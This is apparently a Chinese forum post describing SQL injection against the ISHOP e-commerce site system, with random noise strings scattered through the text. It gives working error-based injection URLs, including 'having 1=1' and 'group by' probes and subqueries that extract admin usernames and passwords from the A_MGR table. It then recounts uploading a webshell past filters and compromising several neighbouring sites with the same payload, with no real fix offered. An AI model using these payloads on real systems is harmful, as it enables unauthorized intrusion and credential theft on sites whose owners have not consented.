ISHOP商场建站系统注入漏洞

admin

发现一个注入点
- d. N# \3 H' }+ v# |( Dhttp://www.xxx.com /Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389
, D# m% K6 ~& @2 ]
6 O$ a! i4 S$ r1 p- ~' |  h7 G习惯性的加’having1=1--

# T  l0 |4 G  K. _  x$ }2 ehttp://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389’having 1=1—
0 N- A; e+ h! O) H9 }
0
/ U/ ^. E" a; Q) v8 [4 _
爆出Diary_A.dl_Title（这时候很激动啊）

+ o0 [% y6 M- J% _& [那么继续
9 p$ Q( z1 A! ^http://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389’group by dl_Title having 1=1—
( H5 Q8 T  g: ~# u; W8 P
9 W. n, v- Z7 P5 S+ S继续，一直爆下去
6 d- \! V2 n" C* ?( _
* _& K( T; E& l; F7 f! [! C, J- h爆到几个字段和表段 但是没找到需要的管理用户的字段

9 D- U/ [) ?9 j7 b, y" h蛋疼了 怎么办 然后去后台登陆页看源码
9 c& Y2 c" I1 @9 O
0

% P7 d) m/ d5 C; MInput name= “ADUID”
Input name= “ADPWD”

很幸运 找到了字段那就继续
7 H! V! q% R# o. x9 y  _找到之后开始爆用户
http://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389'and(select top 1 MGR_UID from A_MGR)>0—
爆密码
http://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389'and(select top 1 MGR_PWD from A_MGR)>0—
测试了下 这个注入点只能爆到文章哪里的表

& y5 y, F; H& ~" Q# u3 K+ V头疼 继续 既然只能报道文章哪里的表去后台爆 不过后台字符限制了
% T- B; G/ q! r# r; ^+ }* [
又想到 用户登录哪里也可以的吧就去试试 果然 今天我很幸运吧 爆出来了

6 |1 b6 ^7 B+ `9 D473
, K8 P6 R" w2 R* I
进后台


发现几个上传点 有的地方不能上传 而且防止恶意代码
9 ^* C  F$ ?1 b( `  x5 B
没办法 各种百度各种找大牛 找到一只好像可以突破的马
- `" T6 g+ {1 b: m! @/ R) J
8 y5 x& w( n& a# }% `" X
在系统管理那里直接上传 不过没有显示地址
7 f% \& {7 A' L( I) a
再上传一次 抓包 搞定OK



" X7 c; J, b  r% b472

* }# B( c5 z, r晚上不行了 去睡觉。。。
- F+ J( d9 v: ^# i1 f9 f- s第二天刚起床 闲的没事做继续日站吧
: J, n* a1 X1 f' T
. p- H+ E- H7 |6 z3 T) X% j+ h0 A找个站 就把这个站的旁c扫了下

  ^: l5 C, q* y5 c& x发现c段也有一个购物站 ，然后还和这个站的模板差不多
. n6 e( q& L2 X! A
' E0 x6 O$ ~" S  m1 m; ~/ @1 \+ O就找到会员登录口测试

'and (select top 1 MGR_UID from A_MGR)>0—
果断爆到了 这时候我很激动 通杀

) K8 h9 A4 N0 e- i% N7 u7 k6 A8 c再次翻c段
$ E) [% \6 I( I2 D: X9 |
$ q8 O. F4 `. b5 }4 _翻出几个站 都成功拿下



) M( J. i! \" U6 w修复方案：
他们比我专业
: w( `& u0 Z; ]: x+ ]- D​

4 w1 @; x! x- ^7 @4 x; r+ K
" Q; r. i5 O) q6 [+ j1 u+ B+ m